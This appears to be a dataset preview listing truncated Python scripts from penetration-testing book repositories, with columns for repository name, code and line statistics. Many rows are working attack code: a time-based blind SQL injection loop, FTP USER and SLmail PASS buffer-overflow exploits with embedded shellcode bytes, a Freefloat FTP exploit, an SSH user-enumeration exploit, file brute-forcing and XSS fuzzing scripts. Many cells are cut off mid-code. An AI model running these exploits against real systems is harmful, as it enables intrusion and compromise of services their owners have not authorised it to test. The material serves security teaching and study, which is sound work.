repo_name stringclasses 29
values | text stringlengths 18 367k | avg_line_length float64 5.6 132 | max_line_length int64 11 3.7k | alphnanum_fraction float64 0.28 0.94 |
|---|---|---|---|---|
Python-Penetration-Testing-for-Developers | #bruteforce file names
import sys
import urllib
import urllib2
if len(sys.argv) !=4:
print "usage: %s url wordlist fileextension\n" % (sys.argv[0])
sys.exit(0)
base_url = str(sys.argv[1])
wordlist= str(sys.argv[2])
extension=str(sys.argv[3])
filelist = open(wordlist,'r')
foundfiles = []
for file in filelist:... | 20.882353 | 66 | 0.69179 |
Penetration-Testing-Study-Notes | import requests
chars = "abcdefghijklmnopqrstuvwxyz123456789*!$#/|&"
for n in range(10):
for i in range(1,21):
for char in chars:
r = requests.get("https://domain/ajs.php?buc=439'and+(select+sleep(10)+from+dual+where+\
substring((select+table_name+from+information_schema.tables+where+table_schema%3ddatab... | 20.590909 | 96 | 0.64557 |
cybersecurity-penetration-testing | from datetime import datetime
import os
from time import gmtime, strftime
from helper import utility
from PIL import Image
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = 'This scripts parses embedded EXIF metadata from compatible objects'
def main(filename):
... | 46.152672 | 117 | 0.559424 |
Hands-On-AWS-Penetration-Testing-with-Kali-Linux | import json
import boto3
def lambda_handler(event, context):
ec2 = boto3.client('ec2')
reservations = ec2.describe_instances()['Reservations']
print(json.dumps(reservations, indent=2, default=str)) | 34 | 59 | 0.732057 |
PenetrationTestingScripts | __author__ = 'wilson'
| 10.5 | 21 | 0.545455 |
owtf | """
tests.functional.cli.test_type
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from tests.owtftest import OWTFCliWebPluginTestCase
class OWTFCliTypeTest(OWTFCliWebPluginTestCase):
"""See https://github.com/owtf/owtf/issues/390 and https://github.com/owtf/owtf/pull/665"""
categories = ["cli", "fast"]
def test_cl... | 41.753247 | 96 | 0.575813 |
cybersecurity-penetration-testing | import shelve
def create():
print "This only for One key "
s = shelve.open("mohit.xss",writeback=True)
s['xss']= []
def update():
s = shelve.open("mohit.xss",writeback=True)
val1 = int(raw_input("Enter the number of values "))
for x in range(val1):
val = raw_input("\n Enter the value\t")
(s['xss']).appen... | 18.340909 | 60 | 0.590588 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
import socket
import sys
junk = 'A'*230
eip = 'B'*4
injection = junk+eip
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')
| 17.076923 | 50 | 0.688034 |
cybersecurity-penetration-testing | #!/usr/bin/python3
import os, sys, re
import string
import argparse
import yaml
import textwrap
import json
from urllib import parse
from bs4 import BeautifulSoup
options = {
'format' : 'text',
}
executable_extensions = [
'.exe',
'.dll',
'.lnk',
'.scr',
'.sys',
'.ps1',
'.bat',
'.j... | 37.706759 | 174 | 0.499486 |
Hands-On-Bug-Hunting-for-Penetration-Testers | #!/usr/bin/env python2.7
import os, sys
import requests
from bs4 import BeautifulSoup
url = sys.argv[1]
directory = sys.argv[2]
os.makedirs(directory)
def download_script(uri):
address = url + uri if uri[0] == '/' else uri
filename = address[address.rfind("/")+1:address.rfind("js")+2]
req = requests.get(url)
w... | 22.625 | 64 | 0.685512 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print '[-] Could not list directory contents.'
print '[-] Skipping To Next Target.'
return
retList = []
for fileName in dirList:
... | 20.566667 | 56 | 0.583591 |
owtf | """
Plugin for probing SMB
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " SMB Probing "
def run(PluginInfo):
resource = get_resources("BruteSmbProbeMethods")
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])... | 23.769231 | 88 | 0.747664 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Project'
db.create_table(u'xtreme_server_proje... | 61.622449 | 130 | 0.571335 |
Python-Penetration-Testing-for-Developers | import requests
import sys
url = sys.argv[1]
yes = sys.argv[2]
answer = []
i = 1
asciivalue = 1
letterss = []
print "Kicking off the attempt"
payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'}
while True:
req = requests.post(url, data=payload)
lengthtest = req.text
if yes i... | 20.69697 | 112 | 0.653147 |
Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E | Import socket
s = socket.socket()
s.connect(("10.10.10.4",9999))
leng = 2984
payload = [b"TRUN /.:/",b"A"*leng]
payload = b"".join(payload)
s.send(payload)
s.close()
| 17.555556 | 34 | 0.644578 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Directory Navigation
import socket
import subprocess
import os
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DON... | 21.528571 | 129 | 0.531091 |
cybersecurity-penetration-testing | import sys
import os
import nmap
with open("./nmap_output.xml", "r") as fd:
content = fd.read()
nm.analyse_nmap_xml_scan(content)
print(nm.csv()) | 19.375 | 42 | 0.635802 |
owtf | """
owtf.utils.formatters
~~~~~~~~~~~~~~~~~~~~~
CLI string formatting
"""
import logging
# CUSTOM LOG LEVELS
LOG_LEVEL_TOOL = 25
# Terminal colors
TERMINAL_COLOR_BLUE = "\033[94m"
TERMINAL_COLOR_GREEN = "\033[92m"
TERMINAL_COLOR_YELLOW = "\033[93m"
TERMINAL_COLOR_RED = "\033[91m"
TERMINAL_COLOR_END = "\033[0m"
TERM... | 28.753846 | 131 | 0.620279 |
Penetration_Testing |
'''
Suggestion:
Use py2exe to turn this script into a Windows executable.
Example: python setup.py py2exe
Run as administrator to store file under current path.
Change pathname if administrator level privilege is not possible.
'''
import win32gui
import win32ui
import win32con
import win32api
def win_screenshot_tak... | 27.28 | 78 | 0.777778 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalCrossSiteScripting")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 28.181818 | 75 | 0.784375 |
cybersecurity-penetration-testing | #!/usr/bin/env python
from pyVim import connect
from pyVmomi import vmodl
from pyVmomi import vim
import sys
def generate_portgroup_info(content):
"""Enumerates all hypervisors to get
network infrastructure information"""
host_view = content.viewManager.CreateContainerView(content.rootFolder,
... | 34.067227 | 77 | 0.511026 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
import sys
import subprocess
if len(sys.argv) != 2:
print "Usage: smbrecon.py <ip address>"
sys.exit(0)
ip = sys.argv[1]
NBTSCAN = "python samrdump.py %s" % (ip)
nbtresults = subprocess.check_output(NBTSCAN, shell=True)
if ("Connection refused" not in nbtresults) and ("Connect error" not in ... | 24.727273 | 127 | 0.660177 |
Hands-On-Penetration-Testing-with-Python | import struct
import socket
print "\n\n###############################################"
print "\nSLmail 5.5 POP3 PASS Buffer Overflow"
print "\nFound & coded by muts [at] offsec.com"
print "\nFor Educational Purposes Only!"
print "\n\n###############################################"
s = socket.socket(socket.AF_INET... | 46.060241 | 317 | 0.68886 |
Hands-On-Penetration-Testing-with-Python | from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.... | 34.105505 | 253 | 0.621406 |
Python-Penetration-Testing-for-Developers | import socket
host = "192.168.0.1" #Server address
port = 12345 #Port of Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port)) #bind server
s.listen(2)
conn, addr = s.accept()
print addr, "Now Connected"
conn.send("Thank you for connecting")
conn.close()
| 25.272727 | 53 | 0.708333 |
Tricks-Web-Penetration-Tester | import requests
import time
import string
def req(injection):
url = "url"
data = {'username': injection,'password':'okay'}
r = requests.post(url, data=data)
return r.text
def sqli():
printables = string.printable
nome_db = ''
while True:
for char in printables:
... | 30.555556 | 181 | 0.525991 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
owtf | """
owtf.plugin.helper
~~~~~~~~~~~~~~~~~~
This module contains helper functions to make plugins simpler to read and write,
centralising common functionality easy to reuse
NOTE: This module has not been refactored since this is being deprecated
"""
import cgi
import logging
import os
import re
from tornado.template i... | 40.283262 | 143 | 0.595779 |
cybersecurity-penetration-testing | import argparse
def main(args):
"""
The main function prints the the args input to the console.
:param args: The parsed arguments namespace created by the argparse module.
:return: Nothing.
"""
print args
if __name__ == '__main__':
description = 'Argparse: Command-Line Parser Sample' # Descripti... | 44.2 | 166 | 0.705362 |
owtf | """
owtf.models.resource
~~~~~~~~~~~~~~~~~~~~
"""
from sqlalchemy import Boolean, Column, Integer, String, UniqueConstraint
from owtf.db.model_base import Model
class Resource(Model):
__tablename__ = "resources"
id = Column(Integer, primary_key=True)
dirty = Column(Boolean, default=False) # Dirty if u... | 25 | 92 | 0.675229 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-6-19
# @File : hydra_plugin.py
# @Desc : ""
import subprocess
import threading
class HydraScanner:
def __init__(self, args):
if '-s' in args:
self.target = args[-2] + ':' + args[args.index('-s') + 1]
... | 30.4375 | 113 | 0.496768 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python3.5
def square(num):
return num ** 2
l1=[1,2,3,4]
sq=list(map(square,l1))
print(str(sq))
| 13 | 23 | 0.621622 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "B"*4 +"C"*90
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print str(data)
s.send... | 18.259259 | 54 | 0.576108 |
Python-Penetration-Testing-Cookbook |
from scapy.all import *
iface = "en0"
fake_ip = '192.168.1.3'
destination_ip = '192.168.1.5'
dns_destination ='8.8.8.8'
def ping(source, destination, iface):
srloop(IP(src=source,dst=destination)/ICMP(), iface=iface)
def dnsQuery(source, destination, iface):
sr1(IP(dst=destination,src=source)/UDP()/DNS(rd=1,... | 21.541667 | 85 | 0.683333 |
owtf | """
PASSIVE Plugin for Testing for Application Discovery (OWASP-IG-005)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Third party discovery resources"
def run(PluginInfo):
Content = plugin_helper.Tabbedresource_linklist(
[
["D... | 32.954545 | 75 | 0.670241 |
cybersecurity-penetration-testing | import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-attacks/interesting-met... | 26.636364 | 103 | 0.655324 |
cybersecurity-penetration-testing | from Crypto.Cipher import ARC4
key = ��.encode(�hex�)
response = ��
enc = ARC4.new(key)
response = response.decode(�base64�)
print enc.decrypt(response)
| 21.857143 | 37 | 0.691824 |
Penetration-Testing-Study-Notes | #!/usr/bin/env python
###############################################################################################################
## [Title]: reconscan.py -- a recon/enumeration script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##---------------------------------------------------------------------------... | 46.822581 | 334 | 0.597931 |
owtf | # -*- coding: utf-8 -*-
"""YAML loaders and dumpers for PyYAML allowing to keep keys order.
Taken from https://github.com/fmenabe/python-yamlordereddictloader.
"""
import sys
import yaml
if float("%d.%d" % sys.version_info[:2]) < 2.7:
from ordereddict import OrderedDict
else:
from collections import OrderedDi... | 27.354167 | 85 | 0.651966 |
owtf | """
owtf.api.utils
~~~~~~~~~~~~~~
"""
from tornado.routing import Matcher
from tornado.web import RequestHandler
class VersionMatches(Matcher):
"""Matches path by `version` regex."""
def __init__(self, api_version):
self.api_version = api_version
def match(self, request):
if self.api_ve... | 23.25 | 70 | 0.620413 |
GWT-Penetration-Testing-Toolset | #!/usr/bin/env python
'''
GwtEnum v0.2
Copyright (C) 2010 Ron Gutierrez
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at you... | 35.900498 | 104 | 0.468716 |
Python-Penetration-Testing-for-Developers | import os
import platform
from datetime import datetime
net = raw_input("Enter the Network Address ")
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_input("Enter the Last Number "))
en1=en1+1
oper = platform.system()
if (oper=="Windows... | 21.878788 | 50 | 0.655172 |
owtf | """
owtf.protocols.smtp
~~~~~~~~~~~~~~~~~~~
Description:
This is the OWTF SMTP handler, to simplify sending emails.
"""
from email.mime import base, multipart, text as mimetext
from email import encoders
import logging
import os
import smtplib
from owtf.utils.file import FileOperations, get_file_as_list
__all__ = ["... | 35.5 | 119 | 0.589171 |
PenetrationTestingScripts | #coding=utf-8
import time
import threading
from printers import printPink,printRed,printGreen
from multiprocessing.dummy import Pool
import pymongo
class mongodb_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
self.lines=self.config.file... | 32.107843 | 129 | 0.505036 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
from scapy.all import *
def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if 'GET' in payload:
if 'google' in payload:
r = re.findall(r'(?i)\&q=(.*?)\&', payload)
if r:
... | 24.604651 | 59 | 0.509091 |
Penetration-Testing-Study-Notes | import requests
chars = "abcdefghijklmnopqrstuvwxyz123456789*!$#/|&"
for n in range(10):
for i in range(1,21):
for char in chars:
r = requests.get("https://domain/ajs.php?buc=439'and+(select+sleep(10)+from+dual+where+\
substring((select+table_name+from+information_schema.tables+where+table_schema%3ddatab... | 20.590909 | 96 | 0.64557 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-22
# @File : awvs_api.py
# @Desc : ""
import time
import os
import json
import requests
from flask import Flask
from instance import config
ProductionConfig = config.ProductionConfig
app = Flask(__name__)
app.config.from_obj... | 40.835526 | 138 | 0.516986 |
Effective-Python-Penetration-Testing | import mechanize
url = "http://www.webscantest.com/datastore/search_by_id.php"
browser = mechanize.Browser()
attackNumber = 1
with open('attack-vector.txt') as f:
for line in f:
browser.open(url)
browser.select_form(nr=0)
browser["id"] = line
res = browser.submit()
content = res.read()
output = o... | 22.578947 | 61 | 0.684564 |
Effective-Python-Penetration-Testing | from bs4 import BeautifulSoup
import re
parse = BeautifulSoup('<html><head><title>Title of the page</title></head><body><p id="para1" align="center">This is a paragraph<b>one</b><a href="http://example1.com">Example Link 1</a> </p><p id="para2">This is a paragraph<b>two</b><a href="http://example.2com">Example Link 2<... | 19.527778 | 302 | 0.596206 |
cybersecurity-penetration-testing | import time, dpkt
import plotly.plotly as py
from plotly.graph_objs import *
from datetime import datetime
filename = 'hbot.pcap'
full_datetime_list = []
dates = []
for ts, pkt in dpkt.pcap.Reader(open(filename,'rb')):
eth=dpkt.ethernet.Ethernet(pkt)
if eth.type!=dpkt.ethernet.ETH_TYPE_IP:
... | 19.94 | 77 | 0.580306 |
cybersecurity-penetration-testing | import shelve
def create():
shelf = shelve.open("mohit.raj", writeback=True)
shelf['desc'] ={}
shelf.close()
print "Dictionary is created"
def update():
shelf = shelve.open("mohit.raj", writeback=True)
data=(shelf['desc'])
port =int(raw_input("Enter the Port: "))
data[port]= raw_input("\n Enter th... | 19.274194 | 71 | 0.592357 |
owtf | """
ACTIVE Plugin for Unauthenticated Nikto testing
This will perform a "low-hanging-fruit" pass on the web app for easy to find (tool-findable) vulns
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Active Vulnerability Scanning without credentials via n... | 32.043478 | 102 | 0.704875 |
Hands-On-Penetration-Testing-with-Python | import requests
import json
import time
import pprint
class SqliAutomate():
def __init__(self,url,other_params={}):
self.url=url
self.other=other_params
def start_polling(self,task_id):
try:
time.sleep(30)
poll_resp=requests.get("http://127.0.0.1:8775/scan/"... | 36.44186 | 103 | 0.547545 |
PenetrationTestingScripts | #coding=utf-8
import time
import threading
from printers import printPink,printGreen
from multiprocessing.dummy import Pool
import psycopg2
import re
def postgres_connect(ip,username,password,port):
crack =0
try:
db=psycopg2.connect(user=username, password=password, host=ip, port=port)
if db:
... | 29.356164 | 121 | 0.536795 |
owtf | """
tests.suite.categories
~~~~~~~~~~~~~~~~~~~~~~
Test categories.
"""
from tests.functional.cli.test_empty_run import OWTFCliEmptyRunTest
from tests.functional.cli.test_list_plugins import OWTFCliListPluginsTest
from tests.functional.cli.test_nowebui import OWTFCliNoWebUITest
from tests.functional.cli.test_scope impo... | 31.846154 | 90 | 0.807737 |
owtf | """
tests.utils
~~~~~~~~~~~
Miscellaneous functions for test cases
"""
import os
import shutil
import subprocess
DIR_OWTF_REVIEW = "owtf_review"
DIR_OWTF_LOGS = "logs"
def db_setup(cmd):
"""Reset OWTF database."""
if cmd not in ["clean", "init"]:
return
formatted_cmd = "make db-{}".format(cmd)
... | 21.163636 | 74 | 0.58867 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python3.5
class ASP_Parent():
def __init__(self,pub,prot,priv):
self.public=pub
self._protected=prot
self.__private=priv
class ASP_child(ASP_Parent):
def __init(self,pub,prot,priv):
super().__init__(pub,prot,priv)
def printMembers(self):
try:
print("Public is :" + str(self.public))
print("... | 24.275862 | 57 | 0.651639 |
cybersecurity-penetration-testing | #!/usr/bin/env python
import ctypes
import os
from os.path import join
import sys
# load shared library
libcap2 = ctypes.cdll.LoadLibrary('libcap.so.2')
class cap2_smart_char_p(ctypes.c_char_p):
"""Implements a smart pointer to a string allocated
by libcap2.so.2"""
def __del__(self):
libcap2.c... | 23.8 | 60 | 0.624358 |
cybersecurity-penetration-testing | # Importing required modules
import requests
from bs4 import BeautifulSoup
import urlparse
response = requests.get('http://www.freeimages.co.uk/galleries/food/breakfast/index.htm')
parse = BeautifulSoup(response.text)
# Get all image tags
image_tags = parse.find_all('img')
# Get urls to the images
images = [ u... | 24.28125 | 91 | 0.694307 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
import xml.etree.ElementTree as ET
import sys
class XML_parser():
def __init__(self,xml):
self.xml=xml
def parse(self,parse_type="doc"):
#root=ET.fromstring(country_data_as_string)
if parse_type =="doc":
root = ET.parse(self.xml).getroot()
else:
root=ET.fromstring(self.xml)
ta... | 28.271186 | 67 | 0.615295 |
owtf | """
owtf.api.handlers.plugin
~~~~~~~~~~~~~~~~~~~~~~~~
"""
import collections
from owtf.api.handlers.base import APIRequestHandler
from owtf.constants import MAPPINGS
from owtf.lib import exceptions
from owtf.lib.exceptions import APIError
from owtf.managers.plugin import get_all_plugin_dicts, get_types_for_plugin_gro... | 40.126316 | 117 | 0.491905 |
Python-Penetration-Testing-for-Developers | #basic username check
import sys
import urllib
import urllib2
if len(sys.argv) !=2:
print "usage: %s username" % (sys.argv[0])
sys.exit(0)
url = "http://www.vulnerablesite.com/forgotpassword.html"
username = str(sys.argv[1])
data = urllib.urlencode({"username":username})
response = urllib2.urlopen(url,data).r... | 23.588235 | 57 | 0.724221 |
cybersecurity-penetration-testing | import screenshot
import requests
portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643,9001,4489]
IP = '127.0.0.1'
http = 'http://'
https = 'https://'
def testAndSave(protocol, portNumber):
url = protocol + IP + ':' + str(portNumber)
try:
r = requests.get(url,timeou... | 23.222222 | 85 | 0.565084 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-09 05:40
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('nmaper', '0011_auto_20160108_0702'),
]
operations = [
migrations.RemoveField... | 22.076923 | 63 | 0.564274 |
Mastering-Machine-Learning-for-Penetration-Testing | import numpy
from keras.datasets import mnist
from keras.models import Sequential
from keras.layers import Dense
from keras.layers import Dropout
from keras.layers import Flatten
from keras.layers.convolutional import Conv2D
from keras.layers.convolutional import MaxPooling2D
from keras.utils import np_utils
from keras... | 34 | 85 | 0.784741 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalFileExtHandling")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 27.909091 | 75 | 0.782334 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Cross Site Flashing Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalCrossSiteFlashing")
Content = plugin_helper.resource_linklist("Online Resources", resource)
... | 29.909091 | 75 | 0.787611 |
Python-Penetration-Testing-for-Developers | import sys
f = open("ciphers.txt", "r")
MSGS = f.readlines()
def strxor(a, b): # xor two strings of different lengths
if len(a) > len(b):
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
else:
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])
... | 45.913043 | 268 | 0.765306 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
import socket
import sys
import subprocess
if len(sys.argv) != 2:
print "Usage: smtprecon.py <ip address>"
sys.exit(0)
#SMTPSCAN = "nmap -vv -sV -Pn -p 25,465,587 --script=smtp-vuln* %s" % (sys.argv[1])
#results = subprocess.check_output(SMTPSCAN, shell=True)
#f = open("results/smtpnmapresu... | 31 | 94 | 0.650414 |
Python-Penetration-Testing-for-Developers | import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host,port))
s.settimeout(5)
data, addr = s.recvfrom(1024)
print "recevied from ",addr
print "obtained ", data
s.close() | 21.9 | 52 | 0.714912 |
cybersecurity-penetration-testing | #!/usr/bin/Python
#Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows
#Author: Craig Freyman (@cd1zz)
#Date: July 19, 2011
#Tested on Windows XP SP3 English
#Part of FreeFloat pwn week
#Vendor Notified: 7-18-2011 (no response)
#Software Link: http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp... | 38.0875 | 104 | 0.680742 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Modified version of:
# http://code.activestate.com/recipes/551780/
# Good to read
# https://attack.mitre.org/wiki/Privilege_Escalation
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms685150(v=vs.85).aspx
# Download Vulnerable Software
# https://www.exploit-db.com/expl... | 39.032609 | 176 | 0.680065 |
Python-Penetration-Testing-Cookbook | #!/usr/bin/python
print "a"*32 + "\x8b\x84\x04\x08"
| 10 | 33 | 0.592593 |
cybersecurity-penetration-testing | headers = {
'User-Agent' : 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0'
}
request = urllib2.Request("http://packtpub.com/", headers=headers)
url = urllib2.urlopen(request)
response = u.read()
| 31.714286 | 94 | 0.697368 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: April 2015
Name: dirtester.py
Purpose: To identify unlinked and hidden files or directories within web applications
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are... | 44.060976 | 151 | 0.691391 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/python
import string
input = raw_input("Please enter the value you would like to Atbash Ciper: ")
transform = string.maketrans(
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba")
final = string.translate(input, transform)
print final | 24.833333 | 76 | 0.81877 |
PenetrationTestingScripts | # coding: utf-8
__author__="wilson"
import os
import sys
sys.path.append("../")
from plugins.ftp import *
from plugins.smb import *
from plugins.mysql import *
from plugins.mssql import *
from plugins.ldapd import *
from plugins.mongodb import *
from plugins.redisexp import *
from plugins.rsync import *
from plugins.... | 14.833333 | 54 | 0.671623 |
Ethical-Hacking-Scripts | import smtplib, time, threading, random, sys, os
class SpamBot:
def __init__(self, email, reciever, subject, msg):
self.emaillist = email
self.reciever = reciever
self.subject = subject
self.msg = msg
self.clients = []
print("\n[+] Preparing Spam Bots.....")
def ... | 45.150943 | 134 | 0.425271 |
owtf | """
owtf.api.handlers.session
~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from owtf.api.handlers.base import APIRequestHandler
from owtf.models.session import Session
from owtf.lib import exceptions
from owtf.lib.exceptions import APIError
from owtf.managers.session import (
add_session,
add_target_to_session,
delete_se... | 28.965318 | 116 | 0.546788 |
PenetrationTestingScripts | # urllib2 work-alike interface
# ...from urllib2...
from urllib2 import \
URLError, \
HTTPError
# ...and from mechanize
from _auth import \
HTTPProxyPasswordMgr, \
HTTPSClientCertMgr
from _debug import \
HTTPResponseDebugProcessor, \
HTTPRedirectDebugProcessor
# crap ATM
## from _gzip impo... | 24.490196 | 42 | 0.69592 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
import math
class Shape:
def __init__(self,length=None,breadth=None,height=None,radius=None):
self.length=length
self.breadth=breadth
self.height=height
self.radius=radius
def area(self):
raise NotImplementedError("Not Implemented")
class Square(Shape):
def __init__(... | 21.178571 | 73 | 0.658065 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalSQLi")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 26.909091 | 75 | 0.77451 |
PenTesting | #code by Soledad, provided to oss-security mialing list 2018-10-17
import paramiko
import socket
import sys
nbytes = 4096
hostname = "127.0.0.1"
port = 2222
sock = socket.socket()
try:
sock.connect((hostname, port))
# instantiate transport
m = paramiko.message.Message()
transport = paramiko.transp... | 22.642857 | 70 | 0.700454 |
cybersecurity-penetration-testing | #!/usr/bin/python
import requests
import string
import random
import sys
def randstring(N = 6):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: webdav_upload.py <host> <inputfile>'
sys.exit(0)
sc =... | 29.29 | 116 | 0.593461 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
LPORT13327 = ""
LPORT13327 += "\xbe\x25\xf6\xa6\xe0\xd9\xed\xd9\x74\x24\xf4"
LPORT13327 += "\x5a\x33\xc9\xb1\x14\x83\xc2\x04\x31\x72\x10"
LPORT13327 += "\x03\x72\x10\xc7\x03\x97\x3b\xf0\x0f\x8b\xf8"
LPORT13327 += "\xad\xa5\x2e\x76\xb0\x8a\x49\x45\xb2\xb0... | 27.531915 | 80 | 0.65597 |
PenetrationTestingScripts | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "scandere.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| 21.909091 | 72 | 0.709163 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
print("------ Iterate over strings ------")
my_str="Hello"
for s in my_str:
print(s)
print("------ Iterate over Lists------")
my_list=[1,2,3,4,5,6]
for l in my_list:
print(l)
print("------ Iterate over Lists with index and value ------")
my_list=[1,2,3,4,5,6]
for index,value in enumerate(my_lis... | 21.794872 | 62 | 0.57545 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
class Id_Generator():
def __init__(self):
self.id=0
def generate(self):
self.id=self.id + 1
return self.id
class Department():
def __init__(self,name,location):
self.name=name
self.loc=location
def DepartmentInfo(self):
return "Department Name : " +str(self.... | 29.725806 | 100 | 0.619748 |
Python-Penetration-Testing-Cookbook | # -*- coding: utf-8 -*-
from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from books.item import BookItem
class HomeSpider(CrawlSpider):
name = 'home'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/']
rules = (Rule(LinkExtrac... | 36 | 112 | 0.567134 |
diff-droid | from os import listdir
from os.path import isfile, join
def pretty_print(list_of_files):
print "Logging Modules !"
for x in range(len(list_of_files)):
print "\t"+"("+str(x)+") "+list_of_files[x]
read_input(list_of_files)
def print_list():
mypath = "loggers"
onlyfiles = [f for f in listdir... | 29.45 | 71 | 0.631579 |
PenetrationTestingScripts | #coding=utf-8
import time
from printers import printPink,printGreen
import threading
from multiprocessing.dummy import Pool
import poplib
def pop3_Connection(ip,username,password,port):
try:
pp = poplib.POP3(ip)
#pp.set_debuglevel(1)
pp.user(username)
pp.pass_(password)
(mai... | 28.360656 | 109 | 0.559777 |
